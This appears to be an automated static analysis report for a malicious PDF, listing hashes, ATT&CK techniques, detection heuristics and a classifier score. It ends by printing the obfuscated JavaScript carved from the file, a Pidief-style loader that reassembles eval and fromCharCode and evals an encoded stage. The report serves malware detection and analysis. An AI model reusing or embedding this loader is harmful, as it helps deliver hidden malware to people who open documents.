Malicious PDF — malware analysis report

Static analysis result for SHA-256 7467f858371f6054…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2013-07-12
MD5: 915e25412a3e8dd2e93df090623646b4 SHA-1: 9185298e056113e1ad0f1ae4ce9f77502f63bf07 SHA-256: 7467f858371f6054204a63fa7698de3832a95c83650637ca08d91a6110b153cf
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a Pidief-style loader. This script reconstructs and executes a string that likely downloads and runs a secondary payload. The ML classifier strongly indicates maliciousness, and the presence of JavaScript points to T1059.007. Given it's a PDF, the likely initial access vector is T1566.001.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF87 434 bytes
SHA-256: 3f3ce6cdf2e9db5d9ed869c2336d2ecbbda89f554a31beac61f6ba819b11a679
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
wyutj=e('ti'.concat(v[4],t));
q=wyutj[v](a.length-6,a.length+2);
cnfe=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=wyutj[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	twaq = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(cnfe(twaq));
	i++;
}
e(s2);

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